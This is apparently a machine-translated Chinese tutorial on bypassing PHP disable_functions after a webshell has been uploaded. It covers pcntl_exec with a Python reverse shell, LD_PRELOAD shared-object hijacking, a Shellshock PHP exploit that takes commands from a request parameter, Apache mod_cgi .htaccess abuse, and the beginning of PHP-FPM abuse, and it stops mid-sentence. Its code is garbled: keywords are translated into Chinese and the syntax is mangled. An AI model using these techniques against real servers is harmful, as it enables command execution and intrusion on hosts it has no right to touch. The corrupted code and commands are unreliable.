常见 Bypass Disable Functions 方法总结
1 背景
在php.ini中,您可以设置一些危险功能,例如eval,exec,system等,并将其写入php.ini配置文件中。这就是我们所说的disable_functions。特别是对于虚拟主机操作员,为了在同一服务器上完全隔离客户并避免大规模安全问题,disable_functions的设置通常很严格。如果在渗透过程中将网络壳上传到上传,但是由于禁用了命令,因此无法执行命令,您需要找到一种绕过它并突破禁用的方法的方法。
2 黑名单绕过
即使危险函数受到禁用功能的限制,也可能存在不完全的限制。有关可以执行命令的功能,请参阅:PHP WebShell检测。 pcntl_exec是另一个相对常见的功能。PCNTL是Linux下的扩展名,可以支持PHP中的多线程操作。很多时候,在某些情况下,EXEC函数被禁用,但是如果操作和维护人员对安全性不太了解或对PHP没有很好的了解,则很有可能会忽略PCNTL扩展的相关功能。
使用PCNTL_EXEC的先决条件是启用PCNTL插件。
1
2
3
4
5
6
7
php
if(function_exists('pcntl_exec')){
pcntl_exec('/bin/bash',array('/tmp/test.sh''));
} 别的{
回声'PCNTL扩展不支持!';
}
?
由于执行PCNTL_EXEC()没有回声,因此通常将其与Python结合起来以反弹外壳:
1
?套接字,子进程,OS; s=socket.socket(socket.AFF_INET,socket.socke.sock_stream,socket.sol_tcp); s.connect(('ip',port)) ; os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(s.fileno(),2); p=subprocess.call.call(['/bin/bin/bash',',' - i'i']));''));''));
在蓝帽杯决赛中有相关的剥削方法。
3 利用 LD_PRELOAD 环境变量
3.1 原理
ld_preload是Linux系统的环境变量。它可以影响程序的运行时链接器。在用户程序运行之前,它可以优先考虑动态链接库的加载。此功能主要用于选择性地加载相同的功能在不同的动态链接库中。通过此环境变量,我们可以在主程序中间加载其他动态链接库及其动态链接库,甚至覆盖正常功能库。一方面,该功能可用于使用自定义功能,而另一方面,可以将程序注入其他人的程序以实现特定的攻击目的。前提:
能够上传.so文件
能够控制ld_preload环境变量的值,例如putenv()函数
因为新的过程启动将加载.SO文件在LD_PRELODOD中,因此必须有一个功能可以控制PHP以启动外部程序并能够执行它们,例如Mail(),Imap_mail(),MB_SEND_MAIL(),error_log()和error_log()函数等。
以下是两种常用的利用方法。
3.2 劫持函数(uid)
3.2.1 原理
用原型UID_T getuid(void)编写C函数;内部执行攻击者指定的代码,然后将其编译到共享对象getUID_SHADOW.SO中;运行php函数putenv()(用于配置系统环境变量),并将环境变量ld_preload设置为getuid_shadow.so,以便在稍后启动新的过程时首先加载共享对象;
运行PHP的Mail()函数,并且Mail()在内部启动新的过程/usr/sbin/sendmail。由于LD_preload在上一步中的作用,因此getuid()在getuid_shadow.so中以相同的名称劫持了SendMail调用的系统函数getUid()。它实现了执行不调用PHP的各种命令执行函数(System,Exec等)的系统命令的目的。
3.2.2 利用
12
3
4
5
6
7
8
9
10
11
#include stdlib.h
#include stdio.h
#include string.h
void有效载荷(){
系统('ls /tmp /leon');
}
int getuid(){
if(getEnv('ld_preload')==null){返回0; }
unsetenv('ld_preload');
有效载荷();
}
编译到So File:
1
gcc -c -c -fpic exp.c -o hack gcc -share hack -o exp。
写test.php:
1
2
3
4
php
putenv('ld_preload=。/exp.so');
邮件('','','','','','');
?
但是,在实际环境中,有两个问题:
首先,在某些环境中,Web禁止SendMail的启用,甚至系统根本没有安装SendMail,因此无法进入Hijack Getuid()。通常无法更改www-data权限或安装SendMail软件;
其次,即使目标可以启用sendmail,因为主机名(主机名输出)未添加到主机中,也需要半分钟的时间才能等待域名分辨率返回,并且www-data无法将主机名添加到主机中。
基于这两种方法,已经得出了一种新的利用方式。
3.3 劫持启动进程
回到ld_preload本身,系统预交通过它共享对象。如果您在加载时可以找到一种执行代码的方法,而无需考虑劫持某个系统功能,则可以完全避免依靠SendMail。3.3.1 attribute 介绍
GCC具有C语言扩展修饰符__attribute __(((constructor)),它允许在main()之前执行其修改的函数。如果它出现在共享对象中,一旦共享对象由系统加载,则将立即执行__attribute __((构造函数))修改的函数。3.2.2 利用
简单经验:1
2
3
4
5
6
7
8
9
#define _gnu_source
#include stdlib.h
#include unistd.h
#include sys/types.h
__attribute __(((___constructor __))void preload(void){
unsetenv('ld_preload');
系统('Whoami /tmp /leon');
}
但是,unsetenv()在CentOS上是无效的,因为CentOS本身挂接了UNSETENV(),并在其中启动了其他过程。在删除LD_Preload之前,它再次被劫持,导致无限循环。您可以使用全局变量外部char **环境删除。实际上,UNSETENV()是环境变量删除函数,它通过对环境的简单封装来实现。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#define _gnu_source
#include stdlib.h
#include stdio.h
#include string.h
外部char **环境;
__attribute __(((___constructor __))void preload(void)
{
//获取命令行选项和ARG
const char* cmdline=getEnv('evil_cmdline');
//未设置的环境变量ld_preload。
//unsetenv('ld_preload')对某些人没有影响
//分发(例如Centos),我需要狡猾的技巧。
int i;
for(i=0;环境; ++ i){
if(strstr(环境,'ld_preload')){
环境 [0]='\ 0';
}
}
//行政命令
系统(cmdline);
}
使用for循环修改ld_preload的第一个字符以更改为\ 0,这是c语言字符串的结尾标签,以便可以自动无效系统的原始ld_preload环境变量。
汇编:
1
gcc -c -c -fpic exp.c -o hack gcc -share hack -o exp。
有关详细信息,请参见:Bypass_disablefunc_via_ld_preload。
蚂蚁刀片中有一个相关的环境,重现了脆弱性。

尝试执行命令:

使用ld_preload插件旁路:

成功后,您可以看到在/var/www/html/目录中创建了一个.antproxy.php文件。我们创建一个副本,然后将连接的URL Shell脚本的名称更改为.antproxy.php以成功执行命令。

4 利用「破壳漏洞」- ShellShock
4.1 前提
Linux操作系统Putenv(),mail()或error_log()函数可用
目标系统的/bin /bash存在于CVE-2014-6271漏洞中
/bin/sh-/bin/bash sh默认外壳是bash
4.2 原理
通过这种方法利用的bash中的旧漏洞,即bash shellshock shell破坏漏洞(CVE-2014-6271)。bash中定义功能的独特方法,即:通过环境变量来定义函数。当环境变量的值始于字符串(){的格式开始时,该变量将通过当前bash视为导出函数,这只会在当前bash的子过程中生效。

通常,函数机构中的代码不会执行,但是壳漏洞将在{}卷曲括号之外错误地执行命令。 PHP中的某些功能(例如:mail(),imap_mail())可以调用popen或其他可以得出bash子进程的功能。这些功能可以触发Shell Breakage漏洞(CVE-2014-6271)执行命令。
EXP脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
php
功能runcmd($ c){
$ d=dirName($ _ server ['script_filename']);
if(substr($ d,0,1)=='/'function_exists('putenv')(function_exists('error_log'')|| function_exists('mail')){
if(strstr(readlink('/bin/sh'),'bash')!=false){
$ tmp=tempnam(sys_get_temp_dir(),'as');
putenv('php_lol=(){x;}; $ c $ tmp 21');
if(function_exists('error_log')){
error_log('a',1);
}别的{
邮件('[email protected]','',',','-bv');
}
}别的{
print('不vuln(not Bash)\ n');
}
$ output=@file_get_contents($ tmp);
@unlink($ tmp);
如果($ output!=''){
打印($输出);
}别的{
打印(“无输出,或不vuln。”);
}
}别的{
打印(“未满足使用情况”);
}
}
//runcmd('whoami'); //要执行的命令
runcmd($ _请求['cmd']); //?cmd=whoami
?
4.3 利用
还利用了Antsword-Labs中的环境:bypass_disable_functions/2尝试使用http://ip:18080/?ant=system('ls');执行失败。
Shellshock的使用已集成到Antsword Virtual终端中。您可以通过在虚拟终端中执行命令来绕过disable_functions:

从上面的过程树中可以看出,执行sh -c -t -i时,php error_log函数在执行我们的自定义命令的目的时,使用bash的shellshock漏洞。
5 利用 CGI
5.1 Apache Mod CGI
5.1.1 前提
Linux操作系统Apache + PHP(Apache使用Apache_mod_php)
Apache启用了CGI并重写
Web目录提供了允许的权限
当前目录是可写的
5.1.2 原理
为了解决Web服务器和外部应用程序(CGI程序)之间的数据互操作性,出现了CGI(公共网关接口)通用网关接口。要简要理解,CGI可以被视为Web服务器与在其上运行的应用程序“通信”的约定。当遇到动态脚本请求时,Web服务器的主要过程将创建一个新的过程,以启动CGI程序,运行外部C程序或PERL,PHP脚本等,即将动态脚本交付给CGI程序进行处理。启动CGI程序需要一个流程,例如读取配置文件,加载扩展等。启动CGI程序时,它将解析动态脚本,然后将结果返回到Web服务器,最后Web服务器将结果返回到客户端,并关闭FORK的过程。这样,每当用户请求动态脚本时,Web服务器都必须重新叉车来创建一个新的进程来启动CGI程序,而CGI程序会处理动态脚本。处理完成后,该过程将关闭,这非常低效。
对于MOD CGI,Web服务器可以内置perl解释器或PHP解释器。也就是说,Web服务器将在启动时启动这些解释器。当新的动态请求进来时,Web服务器会单独解析这些动态脚本,从而使其免于重新构造流程并提高效率。
任何具有MIME类型应用程序/X-HTTPD-CGI或由CGI-Scrip处理器处理的文件都将被视为CGI脚本并由服务器运行,其输出将返回到客户端。将文件制作为CGI脚本有两种方法,一个是该文件具有由AddType指令定义的扩展名,另一个文件是该文件位于Scriptalias目录中。
在Apache配置启用CGI之后,您可以使用Scristalias指令指定目录,并且可执行的CGI程序可以在指定的目录下存储。如果要暂时允许目录执行CGI程序并使服务器解析自定义的后缀以执行CGI程序,则可以使用HTACCESS文件将其配置在目标目录中,如下:
1
2
选项+execcgi
Addhandler CGI-Script .xxx
这将在当前目录中以CGI程序执行所有.xxx文件。由于CGI程序可以执行命令,因此我们可以使用CGI执行系统命令绕过Disable_functions。
5.1.3 利用
还利用了Antsword-Labs中的环境:bypass_disable_functions/3使用蚂蚁剑获取外壳后,无法执行命令:

打开CGI:

5.2 PHP-fpm
5.2.1 前提
Linux操作系统php-fpm
有一个可写的目录,您需要上传.so文件
5.2.2 原理
php-fpm是FastCGI的协议解析器。 Web服务器使用CGI协议封装用户请求并将其发送到FPM。 FPM根据CGI协议将TCP流解析为实际数据。例如,当用户访问http://127.0.0.1/index.php?a=1b=2时,如果Web目录为/var/www/html,则NGINX将将此请求转换为以下键值配对:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
'gateway_interface':'fastcgi/1.0',
'request_method':'get',
'script_filename':'/var/www/html/index.php',
'script_name':'/index.php',
'query_string':'?a=1b=2',
'request_uri':'/index.php?a=1b=2',
'document_root':'/var/www/html',
'server_software':'php/fcgiclient',
'远程_ADDR':'127.0.0.1',
'Remote_port':'12345',
'server_addr':'127.0.0.1',
'server_port':'80',
'server_name':'localhost',
'server_protocol':'http/1.1'
}
该数组实际上是PHP中$ _Server数组的一部分,PHP是PHP中的环境变量。但是,环境变量的功能不仅是填充$ _server数组,而且还要告诉FPM:要执行哪个PHP文件。
PHP-FPM获得FASTCGI数据包后,它将其解析以获得上述环境变量。然后,执行由script_filename的值指向的PHP文件,即/var/www/html/index.php。
5.2.3 利用
自FPM以来,默认情况下会聆听端口9000,我们可以绕过Web服务器,直接构建FastCGI协议并与FPM通信。因此,有一个姿势使用webshell与FPM直接通信以绕过禁用功能。但是,在构造FastCGI之前,您可以执行任何PHP代码,需要打破几个限制:
由于这是一个请求,因此script_filename非常重要。如前所述,FPM基于此值执行PHP文件。如果不存在,它将直接返回404。因此,如果要利用此漏洞,则必须找到现有的PHP文件。通常完成源安装PHP时,服务器